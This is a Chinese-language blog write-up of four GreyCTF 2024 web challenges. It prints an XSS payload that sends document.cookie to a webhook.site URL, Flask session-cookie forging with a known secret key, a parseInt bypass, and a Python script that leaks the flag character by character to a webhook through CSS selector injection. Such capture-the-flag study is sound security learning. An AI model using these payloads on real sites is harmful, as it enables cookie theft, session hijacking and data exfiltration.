osthing's blog
GitHub RSS
5 min read

graycatCTF2024 wp

一场国际小比赛,闲的时候上去做了两题

ctf web writeup match

Markdown Parser(114 solves / 100 points)

题目给了附件,打开题目,发现有一个写markdown的地方,写好之后会自动帮你把格式转换好,之后交给后台检查,那么就是xss,我们直接看源代码,直接看最关键的文件,是怎么格式化markdown的

function parseMarkdown(markdownText) {
    const lines = markdownText.split('\n');
    let htmlOutput = "";
    let inCodeBlock = false;

    lines.forEach(line => {
        if (inCodeBlock) {
            if (line.startsWith('```')) {
                inCodeBlock = false;
                htmlOutput += '</code></pre>';
            } else {
                htmlOutput += escapeHtml(line) + '\n';
            }
        } else {
            if (line.startsWith('```')) {
                language = line.substring(3).trim();
                inCodeBlock = true;
                htmlOutput += '<pre><code class="language-' + language + '">';
            } else {
                line = escapeHtml(line);
                line = line.replace(/`(.*?)`/g, '<code>$1</code>');
                line = line.replace(/^(######\s)(.*)/, '<h6>$2</h6>');
                line = line.replace(/^(#####\s)(.*)/, '<h5>$2</h5>');
                line = line.replace(/^(####\s)(.*)/, '<h4>$2</h4>');
                line = line.replace(/^(###\s)(.*)/, '<h3>$2</h3>');
                line = line.replace(/^(##\s)(.*)/, '<h2>$2</h2>');
                line = line.replace(/^(#\s)(.*)/, '<h1>$2</h1>');
                line = line.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>');
                line = line.replace(/__(.*?)__/g, '<strong>$1</strong>');
                line = line.replace(/\*(.*?)\*/g, '<em>$1</em>');
                line = line.replace(/_(.*?)_/g, '<em>$1</em>');
                htmlOutput += line;
            }
        }
    });

    return htmlOutput;
}

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

module.exports = {
    parseMarkdown
};

有了之前比赛的经验,一眼就能看到这里有能注入的地方

htmlOutput += '<pre><code class="language-' + language + '">';

用引号把他闭合,随即构造出payload

```js" onload="alert(1)
```

上传解析后构造出来的是下面标签

<code class="language-js hljs language-javascript" onload="alert(1)" data-highlighted="yes"></code>

但是发现并没有弹窗

随后我尝试了onerror onblur onfocus ononline等等都没有效果,就只有一个onclick有效果,但是我们看到机器人是没有click的动作的,也是在这一个地方钻的太死了,随后就想到用尖括号闭合后再构造一个<script>出来,构造下面payload

```12"><script>alert(1)</script>"
```

成功弹窗

被解析后的代码如下

<code class="language-12"><script>alert(1)</script>""&gt;</code>

那么接下来就是把cookie弹到接收站

构造下面

```12"><script>fetch(`https://webhook.site/886c0266-b6f5-4dc0-ae07-a9565f6b907a/`+document.cookie)</script>"
```

上传后台得到下面收包

获得flag

grey{m4rkd0wn_th1s_fl4g}

Greyctf Survey(154 solves / 100 points)

同样题目给了源码,题目里面有个滑条,然后提交,不知道要干什么,直接看源码

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const port = 3000

const config = require("./config.json");

app.use(bodyParser.json())

app.use("/", express.static("static"))

let score = -0.42069;

app.get("/status", async (req, res)=>{
    return res.status(200).json({
        "error": false,
        "data": score
    });
})

app.post('/vote', async (req, res) => {
    const {vote} = req.body;
    if(typeof vote != 'number') {
        return res.status(400).json({
            "error": true,
            "msg":"Vote must be a number"
        });
    }
    if(vote < 1 && vote > -1) {
        score += parseInt(vote);
        if(score > 1) {
            score = -0.42069;
            return res.status(200).json({
                "error": false,
                "msg": config.flag,
            });
        }
        return res.status(200).json({
            "error": false,
            "data": score,
            "msg": "Vote submitted successfully"
        });
    } else {
        return res.status(400).json({
            "error": true,
            "msg":"Invalid vote"
        });
    }
})

app.listen(port, () => {
    console.log(`Survey listening on port ${port}`)
})

代码很好懂,滑动滑条,提交votescore会加上一个vote如果score的值大于1,那么就输出flag,按照理论来说随便传两个0.99就通过了,但是发现还是没有flag,并且这个比赛都是公共靶机,如果有人一直恶意发包那么score的值就永远是-0.42069,那么我们就要找找其他的漏洞,我们可以看到在增加score的地方

score += parseInt(vote);

这里用了parseInt来将vote转换成整型int,但是parseInt函数有一个问题,参考文章

https://dmitripavlutin.com/parseint-mystery-javascript/

文章里测试到

parseInt(0.5);      // => 0
parseInt(0.05);     // => 0
parseInt(0.005);    // => 0
parseInt(0.0005);   // => 0
parseInt(0.00005);  // => 0
parseInt(0.000005); // => 0
parseInt(0.0000005); // => 5

这是因为0.0000005会被解析成科学技术法5e-7

所以只要传0.0000005就能大于1了

抓包改值发送

得到flag

grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}

Baby Web(183 solves / 100 points)

给了一个附件,里面是python flask的代码,是一段不完整的代码,先看源码

import os
from flask import Flask, render_template, session

app = Flask(__name__)
app.secret_key = "baby-web"
FLAG = os.getenv("FLAG", r"grey{fake_flag}")


@app.route("/", methods=["GET"])
def index():
    # Set session if not found
    if "is_admin" not in session:
        session["is_admin"] = False
    return render_template("index.html")


@app.route("/admin")
def admin():
    # Check if the user is admin through cookies
    return render_template("admin.html", flag=FLAG, is_admin=session.get("is_admin"))

### Some other hidden code ###


if __name__ == "__main__":
    app.run(debug=True)

判断is_admin是否等于true,给了secret_key那么就非常方便能伪造了

打开网站拿到session

eyJpc19hZG1pbiI6ZmFsc2V9.ZiVFcQ.w2yt1Nh884RwoYjrrtGaB20CBMs

然后丢到flask session的爆破脚本里

python3 flask_session_cookie_manager3.py decode -c "eyJpc19hZG1pbiI6dHJ1ZX0.ZiP8Eg.17rmypB5zIhBJp9Ve4pgJfLwJsw" -s "baby-web"

爆破拿到格式

{'is_admin': False}

之后伪造

python3 flask_session_cookie_manager3.py encode -s "baby-web" -t "{'is_admin': True}"

得到伪造的session

eyJpc19hZG1pbiI6dHJ1ZX0.ZiVFrw.5KhLMB4XVo0BjmX4iJXPb5Am3z0

伪造成功访问admin还是没有拿到flag,但是看源码,flag是传到admin页面的,我们看源码

<html lang="en"><head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Bootstrap demo</title>
    <link async="" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">
  <style>                      .htmx-indicator{opacity:0}                      .htmx-request .htmx-indicator{opacity:1; transition: opacity 200ms ease-in;}                      .htmx-request.htmx-indicator{opacity:1; transition: opacity 200ms ease-in;}                    </style><style type="text/css">#_copy{align-items:center;background:#4494d5;border-radius:3px;color:#fff;cursor:pointer;display:flex;font-size:13px;height:30px;justify-content:center;position:absolute;width:60px;z-index:1000}#select-tooltip,#sfModal,.modal-backdrop,div[id^=reader-helper]{display:none!important}.modal-open{overflow:auto!important}._sf_adjust_body{padding-right:0!important}.super_copy_btns_div{position:fixed;width:154px;left:10px;top:45%;background:#e7f1ff;border:2px solid #4595d5;font-weight:600;border-radius:2px;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;z-index:5000}.super_copy_btns_logo{width:100%;background:#4595d5;text-align:center;font-size:12px;color:#e7f1ff;line-height:30px;height:30px}.super_copy_btns_btn{display:block;width:128px;height:28px;background:#7f5711;border-radius:4px;color:#fff;font-size:12px;border:0;outline:0;margin:8px auto;font-weight:700;cursor:pointer;opacity:.9}.super_copy_btns_btn:hover{opacity:.8}.super_copy_btns_btn:active{opacity:1}</style></head>
  <body>
    <nav class="navbar navbar-expand-lg bg-body-tertiary">
      <div class="container-fluid">
        <a class="navbar-brand" href="/">Baby Web</a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
          <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarNav">
          <ul class="navbar-nav">
            <li class="nav-item">
              <a class="nav-link" href="/admin">Admin</a>
            </li>
          </ul>
        </div>
      </div>
    </nav>
    <div class="container">
      
    
    <div class="container" role="doc-abstract">
        <h2>Admin Page</h2>
        <p>This website is still under construction. I have completed the admin page where only I can access.</p>
        <p>Too bad my secret is not so easily given away</p>
    </div>
    <button type="button" class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#exampleModal" hidden="">
        Super Secret Admin Button
    </button>
    <!-- Modal -->
    <div class="modal fade" id="exampleModal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
        <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h1 class="modal-title fs-5" id="exampleModalLabel">Admin Modal</h1>
                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <div class="modal-body">
                Wow!, you found the super secret admin button.
                <br>
                <button hx-get="/flag" hx-swap="outerHTML" class="btn btn-secondary">
                    Here is an even more secret button.
                </button>
            </div>
            <div class="modal-footer">
            <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
            </div>
        </div>
        </div>
    </div>
    

    </div>
    <script async="" src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>
    <script src="https://unpkg.com/htmx.org@1.9.11"></script>
 
</body></html>

我们可以看到有个这个按钮

<button type="button" class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#exampleModal" hidden="">
        Super Secret Admin Button
    </button>

里面有个hidden=""属性

隐藏了这个按钮,我们只要把这个属性删掉,这个按钮就回来了

之后点击按钮得到flag

grey{0h_n0_mY_5up3r_53cr3t_4dm1n_fl4g}

Beautiful Styles(70 solves / 100 points)

给了一个html,然后让我们自己写css来修改这个html的样式,html代码如下

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>My Beautiful Site</title>
    <link
      href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css"
      rel="stylesheet"
      integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN"
      crossorigin="anonymous"
    />
    <link href="/uploads/{{submit_id}}.css" rel="stylesheet" />
  </head>
  <body>
    <div class="container">
      <h1 id="title">Welcome to my beautiful site</h1>
      <p id="sub-header">
        Here is some content that I want to share with you. An example can be
        this flag:
      </p>
      <input id="flag" value="{{ flag }}" />
    </div>
    <div class="container mt-4">
      <form action="/judge/{{submit_id}}" method="post">
        <input type="submit" value="Submit for judging">
      </form>
    </div>
    <script
      src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
      integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
      crossorigin="anonymous"
    ></script>
  </body>
</html>

上传上去预览样式之后可以上传后台,由管理员检查,那么可以确定是xss了,目的应该是要我们读取

<input id="flag" value="{{ flag }}" />

{{ flag }}的内容,通过css来xss,直接看这篇文章(波兰语,看不懂机翻)

https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/

简单解释一下就是

下面是匹配input标签中value值为abc的标签

input[value="abc"] {
}

下面是匹配input标签中value值为的开头为a的标签

input[value^="a"] {
}

然后

background: url(https://webhook.site/886c0266-b6f5-4dc0-ae07-a9565f6b907a/);会对地址进行访问

结合一下

input[value^="g"] {
background: url(https://webhook.site/886c0266-b6f5-4dc0-ae07-a9565f6b907a/g);
}

就会匹配对应位置的字母,通过是否能接收到来进行盲注,下面是盲注代码,因为要两段访问获取,所以用bs4进行匹配一下,至于连续的爆破字符,需要通过接收站的api,过于麻烦就没有写,之后,题目提示

Flag only consists of numbers and uppercase letters and the lowercase character f (the exception is the flag format of grey{.+})

Flag仅由数字、大写字母和小写字符f组成(例外情况是Flag格式为grey{.+})

那么我们就能构造出盲注代码

import requests
from bs4 import BeautifulSoup


headers = {
    "Host": "challs.nusgreyhats.org:33339",
    "Content-Length": "149",
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Origin": "http://challs.nusgreyhats.org:33339",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Referer": "http://challs.nusgreyhats.org:33339/",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Connection": "close",
}
arr="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZf}"
for i in arr:
    payload="grey{X5S34RCH1fY0UC4NF1ND1T}"+i
    print(payload)
    data = {
        "css_value": 'input[value^="'+payload+'"]{background:url(https://webhook.site/886c0266-b6f5-4dc0-ae07-a9565f6b907a/'+payload+');}'
    }
    print(data)
    url = "http://challs.nusgreyhats.org:33339/submit"

    response = requests.post(url, headers=headers, data=data)
    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        # 查找<form>标签中的action属性值
        form_action = soup.find('form').get('action')
        judge_url = 'http://challs.nusgreyhats.org:33339' + form_action
        judge_headers = {
            'Host': 'challs.nusgreyhats.org:33339',
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.9',
            'Connection': 'close'
        }
        judge_data = {}
        judge_response = requests.post(judge_url, headers=judge_headers, data=judge_data)
        
        if judge_response.status_code == 200:
            print("Judge request successful.")
        else:
            print("judge request. Status code:", judge_response.status_code)
            print(judge_response.text)
    else:
        print("Failed to retrieve form action URL. Status code:", response.status_code)

每循环完一次,就检查接收站哪个收到了信息,然后添加到payload里进行下一次的爆破

得到flag

grey{X5S34RCH1fY0UC4NF1ND1T}